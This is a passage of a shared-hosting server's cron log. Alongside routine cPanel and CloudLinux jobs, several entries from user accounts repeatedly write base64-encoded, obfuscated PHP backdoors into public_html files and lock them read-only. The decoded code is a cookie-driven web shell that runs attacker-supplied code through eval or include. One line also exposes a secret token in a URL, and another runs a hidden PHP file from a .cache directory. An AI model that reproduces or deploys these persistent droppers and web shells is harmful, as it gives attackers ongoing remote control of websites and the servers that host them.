WTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:52:01 medusa CROND[9907]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:52:01 medusa CROND[9911]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:52:01 medusa CROND[9917]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:52:01 medusa CROND[9918]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:52:01 medusa CROND[9916]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 12:52:01 medusa CROND[9919]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:52:01 medusa CROND[9921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:52:01 medusa CROND[9912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:53:01 medusa CROND[3247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:53:01 medusa CROND[3249]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:53:01 medusa CROND[3248]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:53:01 medusa CROND[3250]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:53:01 medusa CROND[3252]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:53:01 medusa CROND[3253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:53:01 medusa CROND[3254]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:53:01 medusa CROND[3258]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:53:01 medusa CROND[3259]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 12:53:01 medusa CROND[3257]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:53:01 medusa CROND[3263]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:53:01 medusa CROND[3275]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:54:01 medusa CROND[28992]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:54:01 medusa CROND[28993]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 12:54:01 medusa CROND[28994]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:54:01 medusa CROND[28995]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:54:01 medusa CROND[28997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:54:01 medusa CROND[29000]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:54:01 medusa CROND[28998]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:54:01 medusa CROND[29001]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:54:01 medusa CROND[28999]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgI